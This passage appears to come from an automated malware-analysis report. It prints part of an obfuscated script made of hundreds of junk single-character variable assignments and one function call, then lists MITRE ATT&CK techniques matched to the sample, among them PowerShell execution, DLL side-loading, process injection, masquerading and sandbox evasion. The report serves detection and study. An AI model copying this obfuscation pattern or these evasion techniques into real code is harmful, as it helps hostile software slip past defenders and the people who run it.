601	sdhounp = "Q";
602	sdhounp = "j";
603	sdhounp = "R";
604	sdhounp = "t";
605	sdhounp = "f";
606	sdhounp = "J";
607	sdhounp = "y";
608	sdhounp = "\"";
609	arxwoad = "o";
610	arxwoad = "q";
611	arxwoad = "n";
612	arxwoad = "X";
613	arxwoad = "H";
614	arxwoad = "f";
615	arxwoad = "g";
616	arxwoad = "r";
617	arxwoad = "S";
618	arxwoad = "A";
619	arxwoad = "R";
620	arxwoad = "Z";
621	arxwoad = "I";
622	arxwoad = "A";
623	arxwoad = "C";
624	arxwoad = "b";
625	arxwoad = "J";
626	arxwoad = "v";
627	arxwoad = "o";
628	arxwoad = "G";
629	arxwoad = "a";
630	arxwoad = "I";
631	zagrneb = "R";
632	zagrneb = "S";
633	zagrneb = "m";
634	zagrneb = "E";
635	zagrneb = "x";
636	zagrneb = "u";
637	zagrneb = "G";
638	zagrneb = "o";
639	zagrneb = "x";
640	zagrneb = "F";
641	zagrneb = "c";
642	zagrneb = "q";
643	zagrneb = "N";
644	zagrneb = "D";
645	zagrneb = "X";
646	zagrneb = "j";
647	zagrneb = "n";
648	zagrneb = "D";
649	zagrneb = "e";
650	zagrneb = "O";
651	zagrneb = "I";
652	zagrneb = "L";
653	zagrneb = "c";
654	zagrneb = "D";
655	zagrneb = "B";
656	zagrneb = "P";
657	zagrneb = "g";
658	zagrneb = "C";
659	zagrneb = "L";
660	zagrneb = "g";
661	zagrneb = "E";
662	zagrneb = "P";
663	zagrneb = "L";
664	zagrneb = "C";
665	zagrneb = "c";
666	zagrneb = "%";
667	uutshkvxz = "g";
668	uutshkvxz = "s";
669	uutshkvxz = "R";
670	uutshkvxz = "T";
671	uutshkvxz = "O";
672	uutshkvxz = "l";
673	uutshkvxz = "u";
674	uutshkvxz = "F";
675	uutshkvxz = "n";
676	uutshkvxz = "D";
677	uutshkvxz = "q";
678	uutshkvxz = "Y";
679	suowr = "J";
680	suowr = "F";
681	bdkim = "Z";
682	bdkim = "b";
683	bdkim = "N";
684	bdkim = "D";
685	bdkim = "n";
686	bdkim = "O";
687	bdkim = "I";
688	bdkim = "q";
689	bdkim = "D";
690	bdkim = "Y";
691	bdkim = "L";
692	bdkim = "n";
693	bdkim = "t";
694	bdkim = "Q";
695	bdkim = "l";
696	bdkim = "y";
697	bdkim = "s";
698	bdkim = "Z";
699	bdkim = "m";
700	bdkim = "B";
701	bdkim = "Y";
702	bdkim = "q";
703	bdkim = "X";
704	bdkim = "b";
705	bdkim = "m";
706	bdkim = "k";
707	bdkim = "b";
708	bdkim = "c";
709	bdkim = "a";
710	bdkim = "L";
711	bdkim = "w";
712	bdkim = "y";
713	bdkim = "z";
714	bdkim = "R";
715	bdkim = "h";
716	bdkim = "k";
717	bdkim = "h";
718	bdkim = "f";
719	bdkim = "e";
720	bdkim = "k";
721	bdkim = "w";
722	bdkim = ".";
723	bwkztyym = "b";
724	bwkztyym = "j";
725	bwkztyym = "s";
726	bwkztyym = "J";
727	bwkztyym = "t";
728	bwkztyym = "p";
729	bwkztyym = "v";
730	bwkztyym = "K";
731	bwkztyym = "m";
732	bwkztyym = "U";
733	bwkztyym = "m";
734	bwkztyym = "I";
735	bwkztyym = "h";
736	bwkztyym = "n";
737	bwkztyym = "J";
738	bwkztyym = "F";
739	bwkztyym = "@";
740	fhwfv = "n";
741	fhwfv = "Z";
742	fhwfv = "E";
743	fhwfv = "A";
744	fhwfv = "Q";
745	fhwfv = "s";
746	fhwfv = "R";
747	fhwfv = "q";
748	fhwfv = "A";
749	fhwfv = "u";
750	fhwfv = "K";
751	fhwfv = "n";
752	fhwfv = "I";
753	fhwfv = "T";
754	fhwfv = "i";
755	fhwfv = "B";
756	fhwfv = "J";
757	fhwfv = "A";
758	fhwfv = "X";
759	fhwfv = "M";
760	fhwfv = "i";
761	fhwfv = "q";
762	fhwfv = "g";
763	fhwfv = "c";
764	fhwfv = ":";
765	fsqspupi = "N";
766	fsqspupi = "f";
767	fsqspupi = "C";
768	fsqspupi = "n";
769	fsqspupi = "l";
770	fsqspupi = "U";
771	fsqspupi = "t";
772	woyjtufjb = "T";
773	woyjtufjb = "Q";
774	woyjtufjb = "m";
775	woyjtufjb = "l";
776	woyjtufjb = "b";
777	woyjtufjb = "N";
778	woyjtufjb = "k";
779	woyjtufjb = "T";
780	woyjtufjb = "i";
781	woyjtufjb = "R";
782	woyjtufjb = "m";
783	woyjtufjb = "m";
784	woyjtufjb = "T";
785	woyjtufjb = "h";
786	woyjtufjb = "T";
787	woyjtufjb = "x";
788	woyjtufjb = "E";
789	woyjtufjb = "h";
790	woyjtufjb = "K";
791	woyjtufjb = "P";
792	woyjtufjb = "L";
793	woyjtufjb = "o";
794	woyjtufjb = "x";
795	woyjtufjb = "U";
796	woyjtufjb = "h";
797	woyjtufjb = "G";
798	woyjtufjb = "P";
799	woyjtufjb = "n";
800	woyjtufjb = "o";
801	woyjtufjb = "N";
802	woyjtufjb = "l";
803	woyjtufjb = "A";
804	woyjtufjb = "J";
805	woyjtufjb = "d";
806	woyjtufjb = "Q";
807	woyjtufjb = "b";
808	woyjtufjb = "U";
809	woyjtufjb = "m";
810	woyjtufjb = "f";
811	woyjtufjb = "i";
812	woyjtufjb = "Q";
813	woyjtufjb = "V";
814	woyjtufjb = "P";
815	woyjtufjb = "3";
816	xwlekmeb = "W";
817	xwlekmeb = "F";
818	xwlekmeb = "T";
819	xwlekmeb = "I";
820	xwlekmeb = "m";
821	xwlekmeb = "U";
822	xwlekmeb = "W";
823	xwlekmeb = "I";
824	xwlekmeb = "O";
825	xwlekmeb = "V";
826	xwlekmeb = "C";
827	xwlekmeb = "u";
828	xwlekmeb = "Y";
829	xwlekmeb = "r";
830	xwlekmeb = "z";
831	xwlekmeb = "c";
832	xwlekmeb = "m";
833	xwlekmeb = "V";
834	xwlekmeb = "F";
835	xwlekmeb = "e";
836	xwlekmeb = "b";
837	xwlekmeb = "m";
838	xwlekmeb = "R";
839	xwlekmeb = "&";
840	jbgvuewd = "f";
841	jbgvuewd = "V";
842	jbgvuewd = "r";
843	jbgvuewd = "F";
844	jbgvuewd = "W";
845	jbgvuewd = "H";
846	jbgvuewd = "X";
847	jbgvuewd = "N";
848	jbgvuewd = "L";
849	jbgvuewd = "G";
850	jbgvuewd = "d";
851	jbgvuewd = "v";
852	jbgvuewd = "h";
853	jbgvuewd = "J";
854	jbgvuewd = "J";
855	jbgvuewd = "s";
856	jbgvuewd = "y";
857	jbgvuewd = "b";
858	jbgvuewd = "r";
859	jbgvuewd = "C";
860	jbgvuewd = "M";
861	jbgvuewd = "o";
862	jbgvuewd = "S";
863	jbgvuewd = "A";
864	jbgvuewd = "Y";
865	jbgvuewd = "d";
866	jbgvuewd = "I";
867	jbgvuewd = "e";
868	jbgvuewd = "p";
869	jbgvuewd = "u";
870	jbgvuewd = "u";
871	jbgvuewd = "g";
872	jbgvuewd = "I";
873	jbgvuewd = "w";
874	auhuqia = "x";
875	auhuqia = "m";
876	auhuqia = "X";
877	auhuqia = "o";
878	auhuqia = "i";
879	auhuqia = "l";
880	auhuqia = "G";
881	auhuqia = "t";
882	auhuqia = "a";
883	auhuqia = "m";
884	auhuqia = "M";
885	auhuqia = "M";
886	auhuqia = "I";
887	auhuqia = "g";
888	auhuqia = "T";
889	auhuqia = "z";
890	auhuqia = "n";
891	auhuqia = "q";
892	auhuqia = "Y";
893	auhuqia = "I";
894	auhuqia = "Z";
895	auhuqia = "S";
896	auhuqia = "Q";
897	auhuqia = "u";
898	auhuqia = "R";
899	auhuqia = "J";
900	auhuqia = "C";
901	auhuqia = "M";
902	auhuqia = "h";
903	auhuqia = "d";
904	auhuqia = "e";
905	auhuqia = "X";
906	auhuqia = "A";
907	auhuqia = "E";
908	auhuqia = "L";
909	auhuqia = "y";
910	auhuqia = "B";
911	auhuqia = "b";
912	auhuqia = "U";
913	auhuqia = "g";
914	auhuqia = "y";
915	auhuqia = "I";
916	auhuqia = "v";
917	auhuqia = "x";
918	gebmft = "E";
919	gebmft = "r";
920	gebmft = "Q";
921	gebmft = "i";
922	gebmft = "L";
923	gebmft = "O";
924	gebmft = "U";
925	gebmft = "d";
926	gebmft = "q";
927	gebmft = "h";
928	gebmft = "N";
929	gebmft = "n";
930	gebmft = "y";
931	gebmft = "b";
932	gebmft = "C";
933	gebmft = "T";
934	gebmft = "Z";
935	gebmft = "C";
936	gebmft = "Y";
937	gebmft = "m";
938	gebmft = "x";
939	gebmft = "v";
940	gebmft = "A";
941	gebmft = "c";
942	gebmft = "f";
943	gebmft = "U";
944	gebmft = "g";
945	gebmft = "T";
946	gebmft = "O";
947	gebmft = "O";
948	gebmft = "p";
949	gebmft = "U";
950	gebmft = "u";
951	gebmft = "m";
952	gebmft = "F";
953	gebmft = "D";
954	gebmft = "P";
955	gebmft = "a";
956	gebmft = "O";
957	gebmft = "i";
958	gebmft = "j";
959	gebmft = "s";
960	cdslbwd = "D";
961	cdslbwd = "E";
962	cdslbwd = "g";
963	cdslbwd = "v";
964	cdslbwd = "p";
965	cdslbwd = "g";
966	cdslbwd = "j";
967	cdslbwd = "F";
968	cdslbwd = "F";
969	cdslbwd = "B";
970	cdslbwd = "f";
971	cdslbwd = "j";
972	cdslbwd = "A";
973	cdslbwd = "Q";
974	cdslbwd = "O";
975	cdslbwd = "e";
976	cdslbwd = "g";
977	cdslbwd = "T";
978	cdslbwd = "l";
979	cdslbwd = "U";
980	cdslbwd = "J";
981	cdslbwd = "H";
982	cdslbwd = "i";
983	cdslbwd = "t";
984	cdslbwd = "t";
985	cdslbwd = "P";
986	cdslbwd = "U";
987	cdslbwd = "v";
988	cdslbwd = "w";
989	cdslbwd = "E";
990	cdslbwd = "i";
991	bbrrcnxd = "b";
992	bbrrcnxd = "w";
993	bbrrcnxd = "s";
994	bbrrcnxd = "d";
995	bbrrcnxd = "F";
996	bbrrcnxd = "v";
997	bbrrcnxd = "x";
998	bbrrcnxd = "X";
999	bbrrcnxd = "q";
1000	bbrrcnxd = "V";
1001	bbrrcnxd = "p";
1002	txkaj = "W";
1003	txkaj = "u";
1004	txkaj = "I";
1005	txkaj = "x";
1006	txkaj = "I";
1007	txkaj = "G";
1008	txkaj = "e";
1009	txkaj = "V";
1010	txkaj = "h";
1011	txkaj = "F";
1012	txkaj = "j";
1013	txkaj = "b";
1014	txkaj = "w";
1015	txkaj = "Z";
1016	txkaj = "d";
1017	txkaj = "t";
1018	txkaj = "I";
1019	txkaj = "L";
1020	txkaj = "i";
1021	txkaj = "Q";
1022	txkaj = "Y";
1023	txkaj = "q";
1024	txkaj = "F";
1025	txkaj = "g";
1026	txkaj = "L";
1027	txkaj = "K";
1028	txkaj = "L";
1029	txkaj = "D";
1030	txkaj = "P";
1031	txkaj = "d";
1032	txkaj = "c";
1033	txkaj = "w";
1034	txkaj = "/";
1035	aldgjfd = "m";
1036	aldgjfd = "Z";
1037	aldgjfd = "K";
1038	aldgjfd = "r";
1039	aldgjfd = "l";
1040	aldgjfd = "F";
1041	aldgjfd = "S";
1042	aldgjfd = "l";
1043	aldgjfd = "H";
1044	aldgjfd = "G";
1045	aldgjfd = "i";
1046	aldgjfd = "q";
1047	aldgjfd = "d";
1048	aldgjfd = "p";
1049	aldgjfd = "p";
1050	aldgjfd = "j";
1051	znkgkju = "X";
1052	znkgkju = "y";
1053	znkgkju = "O";
1054	znkgkju = "E";
1055	znkgkju = "O";
1056	znkgkju = "M";
1057	znkgkju = "w";
1058	znkgkju = "m";
1059	znkgkju = "d";
1060	znkgkju = "O";
1061	znkgkju = "J";
1062	znkgkju = "G";
1063	znkgkju = "Z";
1064	znkgkju = "J";
1065	znkgkju = "w";
1066	znkgkju = "v";
1067	znkgkju = "W";
1068	znkgkju = "c";
1069	znkgkju = "G";
1070	znkgkju = "h";
1071	znkgkju = "l";
1072	dtcevxtru = "u";
1073	dtcevxtru = "u";
1074	dtcevxtru = "C";
1075	dtcevxtru = "j";
1076	dtcevxtru = "E";
1077	dtcevxtru = "P";
1078	dtcevxtru = "a";
1079	dtcevxtru = "X";
1080	dtcevxtru = "p";
1081	dtcevxtru = "V";
1082	dtcevxtru = "D";
1083	dtcevxtru = "c";
1084	dtcevxtru = "u";
1085	dtcevxtru = "Z";
1086	dtcevxtru = "v";
1087	dtcevxtru = "w";
1088	dtcevxtru = "i";
1089	dtcevxtru = "V";
1090	dtcevxtru = "f";
1091	dtcevxtru = "l";
1092	dtcevxtru = "r";
1093	dtcevxtru = "A";
1094	dtcevxtru = "N";
1095	dtcevxtru = "L";
1096	dtcevxtru = "v";
1097	dtcevxtru = "z";
1098	dtcevxtru = "c";
1099	dtcevxtru = "A";
1100	dtcevxtru = "D";
1101	dtcevxtru = "F";
1102	dtcevxtru = "r";
1103	dtcevxtru = "Z";
1104	dtcevxtru = "A";
1105	dtcevxtru = "p";
1106	dtcevxtru = "4";
1107	tlvkc = "u";
1108	tlvkc = "d";
1109	tlvkc = "a";
1110	tlvkc = "k";
1111	tlvkc = "Q";
1112	tlvkc = "E";
1113	tlvkc = "h";
1114	tlvkc = "S";
1115	tlvkc = "H";
1116	tlvkc = "a";
1117	tlvkc = "v";
1118	tlvkc = "t";
1119	tlvkc = "h";
1120	tlvkc = "X";
1121	tlvkc = "z";
1122	tlvkc = "l";
1123	tlvkc = "s";
1124	tlvkc = "e";
1125	tlvkc = "W";
1126	tlvkc = "I";
1127	tlvkc = "U";
1128	tlvkc = "e";
1129	tlvkc = "G";
1130	tlvkc = "Y";
1131	tlvkc = "d";
1132	qjtpjc = "x";
1133	qjtpjc = "d";
1134	qjtpjc = "z";
1135	qjtpjc = "m";
1136	qjtpjc = "p";
1137	qjtpjc = "j";
1138	qjtpjc = "T";
1139	qjtpjc = "t";
1140	qjtpjc = "j";
1141	qjtpjc = "g";
1142	qjtpjc = "r";
1143	qjtpjc = "E";
1144	qjtpjc = "V";
1145	qjtpjc = "n";
1146	qjtpjc = "t";
1147	qjtpjc = "l";
1148	qjtpjc = "Z";
1149	qjtpjc = "X";
1150	qjtpjc = "A";
1151	qjtpjc = "P";
1152	qjtpjc = "M";
1153	qjtpjc = "y";
1154	qjtpjc = "w";
1155	qjtpjc = "I";
1156	qjtpjc = "c";
1157	qjtpjc = "e";
1158	qjtpjc = "j";
1159	qjtpjc = "P";
1160	qjtpjc = "O";
1161	qjtpjc = "k";
1162	qjtpjc = "v";
1163	qjtpjc = "J";
1164	qjtpjc = "v";
1165	qjtpjc = "y";
1166	qjtpjc = "l";
1167	qjtpjc = "d";
1168	qjtpjc = "M";
1169	qjtpjc = "j";
1170	qjtpjc = "B";
1171	qjtpjc = "B";
1172	qjtpjc = "T";
1173	qjtpjc = "y";
1174	qjtpjc = "9";
1175	kwxxgv = "w";
1176	kwxxgv = "n";
1177	kwxxgv = "z";
1178	kwxxgv = "D";
1179	kwxxgv = "i";
1180	kwxxgv = "R";
1181	kwxxgv = "f";
1182	kwxxgv = "r";
1183	kwxxgv = "j";
1184	kwxxgv = "G";
1185	kwxxgv = "B";
1186	kwxxgv = "y";
1187	kwxxgv = "n";
1188	kwxxgv = "m";
1189	kwxxgv = "I";
1190	kwxxgv = "o";
1191	kwxxgv = "G";
1192	kwxxgv = "c";
1193	kwxxgv = "i";
1194	kwxxgv = "x";
1195	kwxxgv = "E";
1196	kwxxgv = "H";
1197	kwxxgv = "V";
1198	kwxxgv = "i";
1199	kwxxgv = "r";
1200	kwxxgv = "q";
1201	kwxxgv = "k";
1202	kwxxgv = "U";
1203	kwxxgv = "T";
1204	kwxxgv = "P";
1205	kwxxgv = "R";
1206	kwxxgv = "N";
1207	kwxxgv = "j";
1208	kwxxgv = "f";
1209	idjdmxar = "r";
1210	idjdmxar = "J";
1211	idjdmxar = "S";
1212	idjdmxar = "c";
1213	idjdmxar = "Q";
1214	idjdmxar = "Y";
1215	idjdmxar = "U";
1216	idjdmxar = "t";
1217	idjdmxar = "q";
1218	idjdmxar = "t";
1219	idjdmxar = "O";
1220	idjdmxar = "z";
1221	idjdmxar = "q";
1222	idjdmxar = "A";
1223	idjdmxar = "H";
1224	idjdmxar = "k";
1225	idjdmxar = "d";
1226	idjdmxar = "x";
1227	idjdmxar = "b";
1228	idjdmxar = "c";
1229	idjdmxar = "R";
1230	idjdmxar = "S";
1231	idjdmxar = "l";
1232	idjdmxar = "k";
1233	idjdmxar = "R";
1234	idjdmxar = "T";
1235	idjdmxar = "t";
1236	idjdmxar = "O";
1237	idjdmxar = "_";
1238	xyvba = "z";
1239	xyvba = "q";
1240	xyvba = "t";
1241	xyvba = "P";
1242	xyvba = "d";
1243	xyvba = "n";
1244	xyvba = "C";
1245	xyvba = "A";
1246	xyvba = "q";
1247	cnnqbpccn = "S";
1248	cnnqbpccn = "O";
1249	cnnqbpccn = "R";
1250	cnnqbpccn = "W";
1251	cnnqbpccn = "R";
1252	cnnqbpccn = "s";
1253	cnnqbpccn = "Q";
1254	cnnqbpccn = "x";
1255	cnnqbpccn = "h";
1256	cnnqbpccn = "c";
1257	cnnqbpccn = "h";
1258	cnnqbpccn = "M";
1259	cnnqbpccn = "X";
1260	cnnqbpccn = "u";
1261	cnnqbpccn = "T";
1262	cnnqbpccn = "w";
1263	cnnqbpccn = "h";
1264	cnnqbpccn = "O";
1265	cnnqbpccn = "L";
1266	cnnqbpccn = "A";
1267	cnnqbpccn = "m";
1268	cnnqbpccn = "v";
1269	cnnqbpccn = "g";
1270	cnnqbpccn = "r";
1271	cnnqbpccn = "X";
1272	cnnqbpccn = "w";
1273	cnnqbpccn = "p";
1274	cnnqbpccn = "Y";
1275	cnnqbpccn = "r";
1276	cnnqbpccn = "o";
1277	cnnqbpccn = "b";
1278	cnnqbpccn = "C";
1279	cnnqbpccn = "i";
1280	cnnqbpccn = "t";
1281	cnnqbpccn = "d";
1282	cnnqbpccn = "N";
1283	cnnqbpccn = "c";
1284	cnnqbpccn = "j";
1285	cnnqbpccn = "r";
1286	ftoekgem = "c";
1287	ftoekgem = "O";
1288	ftoekgem = "J";
1289	ftoekgem = "L";
1290	ftoekgem = "X";
1291	ftoekgem = "f";
1292	ftoekgem = "z";
1293	ftoekgem = "B";
1294	ftoekgem = "R";
1295	xztfg = "K";
1296	xztfg = "y";
1297	xztfg = "C";
1298	oozjw = "S";
1299	oozjw = "F";
1300	oozjw = "y";
1301	oozjw = "N";
1302	oozjw = "G";
1303	oozjw = "s";
1304	oozjw = "g";
1305	oozjw = "Q";
1306	oozjw = "r";
1307	oozjw = "j";
1308	oozjw = "O";
1309	oozjw = "B";
1310	oozjw = "P";
1311	oozjw = "d";
1312	oozjw = "d";
1313	oozjw = "Q";
1314	oozjw = "g";
1315	oozjw = "R";
1316	oozjw = "T";
1317	oozjw = "D";
1318	oozjw = "m";
1319	oozjw = "W";
1320	oozjw = "T";
1321	oozjw = "P";
1322	oozjw = "Q";
1323	oozjw = "N";
1324	oozjw = "T";
1325	oozjw = "X";
1326	oozjw = "V";
1327	oozjw = "w";
1328	oozjw = "h";
1329	oozjw = "N";
1330	oozjw = "a";
1331	oozjw = "E";
1332	oozjw = "8";
1333	oooaamg = "Y";
1334	oooaamg = "q";
1335	oooaamg = "n";
1336	oooaamg = "J";
1337	oooaamg = "k";
1338	oooaamg = "g";
1339	eamphb = "z";
1340	eamphb = "x";
1341	eamphb = "p";
1342	eamphb = "H";
1343	eamphb = "b";
1344	eamphb = "N";
1345	eamphb = "P";
1346	eamphb = "k";
1347	eamphb = "d";
1348	eamphb = "h";
1349	eamphb = "p";
1350	eamphb = "7";
1351	miiteg = "o";
1352	arywjuin = "P";
1353	arywjuin = "d";
1354	arywjuin = "P";
1355	arywjuin = "N";
1356	arywjuin = "R";
1357	arywjuin = "i";
1358	arywjuin = "P";
1359	pnowbmnx = "D";
1360	pnowbmnx = "H";
1361	pnowbmnx = "v";
1362	pnowbmnx = "u";
1363	pnowbmnx = "p";
1364	pnowbmnx = "c";
1365	pnowbmnx = "h";
1366	pnowbmnx = "S";
1367	pnowbmnx = "F";
1368	pnowbmnx = "W";
1369	pnowbmnx = "x";
1370	pnowbmnx = "K";
1371	pnowbmnx = "W";
1372	pnowbmnx = "Q";
1373	pnowbmnx = "w";
1374	pnowbmnx = "l";
1375	pnowbmnx = "O";
1376	pnowbmnx = "U";
1377	pnowbmnx = "T";
1378	pnowbmnx = "A";
1379	pnowbmnx = "o";
1380	pnowbmnx = "U";
1381	pnowbmnx = "S";
1382	pnowbmnx = "C";
1383	pnowbmnx = "z";
1384	pnowbmnx = "P";
1385	pnowbmnx = "c";
1386	pnowbmnx = "w";
1387	pnowbmnx = "s";
1388	pnowbmnx = "U";
1389	pnowbmnx = "u";
1390	pnowbmnx = "a";
1391	pnowbmnx = "5";
1392	jdrtgq = "A";
1393	jdrtgq = "m";
1394	jdrtgq = "A";
1395	jdrtgq = "n";
1396	jdrtgq = "P";
1397	jdrtgq = "z";
1398	jdrtgq = "g";
1399	jdrtgq = "s";
1400	jdrtgq = "H";
1401	jdrtgq = "c";
1402	jdrtgq = "a";
1403	jdrtgq = "d";
1404	jdrtgq = "F";
1405	jdrtgq = "B";
1406	jdrtgq = "j";
1407	jdrtgq = "t";
1408	jdrtgq = "v";
1409	jdrtgq = "R";
1410	jdrtgq = "I";
1411	jdrtgq = "y";
1412	jdrtgq = "F";
1413	jdrtgq = "n";
1414	jdrtgq = "J";
1415	jdrtgq = "o";
1416	jdrtgq = "i";
1417	jdrtgq = "e";
1418	jdrtgq = "P";
1419	jdrtgq = "j";
1420	jdrtgq = "B";
1421	jdrtgq = "m";
1422	jdrtgq = "m";
1423	jdrtgq = "2";
1424	sgwvjenrm = "P";
1425	sgwvjenrm = "a";
1426	sgwvjenrm = "k";
1427	sgwvjenrm = "o";
1428	sgwvjenrm = "s";
1429	sgwvjenrm = "K";
1430	sgwvjenrm = "P";
1431	sgwvjenrm = "G";
1432	sgwvjenrm = "n";
1433	sgwvjenrm = "S";
1434	sgwvjenrm = "N";
1435	sgwvjenrm = "X";
1436	sgwvjenrm = "G";
1437	sgwvjenrm = "F";
1438	sgwvjenrm = "X";
1439	sgwvjenrm = "s";
1440	sgwvjenrm = "Q";
1441	sgwvjenrm = "n";
1442	sgwvjenrm = "u";
1443	sgwvjenrm = "A";
1444	sgwvjenrm = "K";
1445	sgwvjenrm = "Z";
1446	sgwvjenrm = "q";
1447	sgwvjenrm = "J";
1448	sgwvjenrm = "g";
1449	sgwvjenrm = "e";
1450	sgwvjenrm = "z";
1451	sgwvjenrm = "L";
1452	sgwvjenrm = "p";
1453	sgwvjenrm = "e";
1454	sgwvjenrm = "s";
1455	sgwvjenrm = "A";
1456	sgwvjenrm = "G";
1457	sgwvjenrm = "L";
1458	sgwvjenrm = "e";
1459	sgwvjenrm = "U";
1460	sgwvjenrm = "G";
1461	sgwvjenrm = "T";
1462	sgwvjenrm = "S";
1463	sgwvjenrm = "R";
1464	sgwvjenrm = "K";
1465	ozmckuknu = "c";
1466	ozmckuknu = "l";
1467	ozmckuknu = "U";
1468	ozmckuknu = "x";
1469	ozmckuknu = "J";
1470	ozmckuknu = "E";
1471	ozmckuknu = "W";
1472	ozmckuknu = "M";
1473	ozmckuknu = "q";
1474	ozmckuknu = "g";
1475	ozmckuknu = "T";
1476	ozmckuknu = "Z";
1477	ozmckuknu = "M";
1478	ozmckuknu = "S";
1479	ozmckuknu = "x";
1480	ozmckuknu = "g";
1481	ozmckuknu = "K";
1482	ozmckuknu = "c";
1483	ozmckuknu = "r";
1484	ozmckuknu = "S";
1485	ozmckuknu = "U";
1486	ozyrert = "W";
1487	ozyrert = "D";
1488	ozyrert = "k";
1489	ozyrert = "J";
1490	ozyrert = "U";
1491	ozyrert = "j";
1492	ozyrert = "S";
1493	ozyrert = "m";
1494	ozyrert = "B";
1495	ozyrert = "m";
1496	ozyrert = "t";
1497	ozyrert = "p";
1498	ozyrert = "T";
1499	ozyrert = "z";
1500	ozyrert = "k";
1501	ozyrert = "Z";
1502	ozyrert = "y";
1503	ozyrert = "b";
1504	ozyrert = "q";
1505	ozyrert = "c";
1506	ozyrert = "i";
1507	ozyrert = "z";
1508	ozyrert = "U";
1509	ozyrert = "x";
1510	ozyrert = "j";
1511	ozyrert = "N";
1512	ozyrert = "L";
1513	ozyrert = "J";
1514	ozyrert = "I";
1515	ozyrert = "s";
1516	ozyrert = "X";
1517	ozyrert = "Q";
1518	ozyrert = "G";
1519	ozyrert = "6";
1520	jarcjj = "H";
1521	jarcjj = "s";
1522	jarcjj = "G";
1523	jarcjj = "I";
1524	jarcjj = "U";
1525	jarcjj = "P";
1526	jarcjj = "t";
1527	jarcjj = "o";
1528	jarcjj = "G";
1529	jarcjj = "f";
1530	jarcjj = "D";
1531	jarcjj = "I";
1532	jarcjj = "g";
1533	jarcjj = "X";
1534	jarcjj = "r";
1535	jarcjj = "a";
1536	jarcjj = "s";
1537	jarcjj = "H";
1538	jarcjj = "v";
1539	jarcjj = "t";
1540	jarcjj = "i";
1541	jarcjj = "p";
1542	jarcjj = "B";
1543	jarcjj = "f";
1544	jarcjj = "S";
1545	bvqbka ( );	bvqbka() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
